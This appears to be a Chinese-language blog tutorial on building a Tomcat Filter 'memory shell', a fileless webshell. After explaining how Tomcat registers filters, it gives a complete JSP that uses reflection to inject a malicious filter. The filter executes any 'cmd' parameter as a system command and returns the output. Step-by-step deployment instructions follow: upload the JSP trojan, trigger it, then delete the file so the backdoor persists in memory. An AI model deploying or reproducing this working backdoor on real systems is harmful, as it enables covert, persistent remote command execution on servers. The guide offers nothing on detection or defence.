1. 基本概念
Filter(过滤器) 是 Java Web 应用中的一个组件,作用是在请求到达 Servlet 前,对请求和响应进行拦截、预处理或后处理。
特点:
Filter 内存马 的思路与 Servlet 内存马类似:
-
利用 运行时动态注册 Filter 的能力
-
将恶意 Filter 植入内存
-
所有请求都会经过 Filter,从而实现后门逻辑
2. Filter 装载流程(开发者视角)
2.1 定义 Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package com.example.memshell; import jakarta.servlet.FilterChain; import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpFilter; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import java.io.IOException; public class MyFilter extends HttpFilter { @Override protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException { String cmd = req.getParameter("cmd"); if (cmd != null){ res.getWriter().println("自定义响应"); } super.doFilter(req, res, chain); } }
|
2.2 配置 web.xml
1 2 3 4 5 6 7 8 9
| <filter> <filter-name>MyFilter</filter-name> <filter-class>com.example.memshell.MyFilter</filter-class> </filter> <filter-mapping> <filter-name>MyFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
|
2.3 Tomcat 加载
3. Tomcat Filter 加载流程(容器内部机制)
3.1 Web 应用启动
3.2 Filter 定义(FilterDef)
3.3 Filter 映射(FilterMap)
3.4 注册 Filter
-
StandardContext.addFilterDef(def) 注册 Filter 定义
-
StandardContext.addFilterMapBefore(map) 注册映射
-
standardContext.filterStart() 启动 Filter 机制
4. 内存马实现机制
Filter 内存马的实现步骤:
-
编写恶意 Filter(执行命令/响应输出)
-
获取 StandardContext
-
创建 FilterDef(定义)和 FilterMap(映射)
-
调用 API 注册到容器
-
addFilterDef() → 注册 Filter
-
addFilterMapBefore() → 设置 URL 匹配规则
-
filterStart() → 激活 Filter
5. 示例代码(JSP Filter 内存马)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <%@ page import="java.io.*" %> <%@ page import="java.lang.reflect.*" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="javax.servlet.*, javax.servlet.http.*" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%! // 恶意 Filter public class ShellFilter implements Filter { @Override public void init(FilterConfig filterConfig) {} @Override public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException { String cmd = req.getParameter("cmd"); if (cmd != null) { Process proc = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader( new InputStreamReader(proc.getInputStream())); String line; while ((line = br.readLine()) != null) { resp.getWriter().println(line); } br.close(); } else { chain.doFilter(req, resp); } } @Override public void destroy() {} } %>
<% // 1. 获取 StandardContext ServletContext servletContext = request.getServletContext(); Field appCtxField = servletContext.getClass().getDeclaredField("context"); appCtxField.setAccessible(true); ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext);
Field stdCtxField = appCtx.getClass().getDeclaredField("context"); stdCtxField.setAccessible(true); StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx);
// 2. 创建恶意 Filter 定义 ShellFilter filter = new ShellFilter(); FilterDef def = new FilterDef(); def.setFilter(filter); def.setFilterName("filter-shell"); def.setFilterClass(filter.getClass().getName());
// 3. 创建 Filter 映射 FilterMap map = new FilterMap(); map.addURLPattern("/*"); map.setFilterName("filter-shell");
// 4. 注册到容器 standardContext.addFilterDef(def); standardContext.addFilterMapBefore(map); standardContext.filterStart(); %>
|
6. 触发步骤
-
上传 JSP 木马至服务器
-
访问 JSP 文件 → 执行注入逻辑,动态注册 Filter
-
之后的所有请求都会经过恶意 Filter
-
请求带参数 cmd → 执行系统命令
-
请求不带参数 → 正常转发到目标 Servlet
-
(可选)删除 JSP 文件,Filter 内存马依然驻留
7. 总结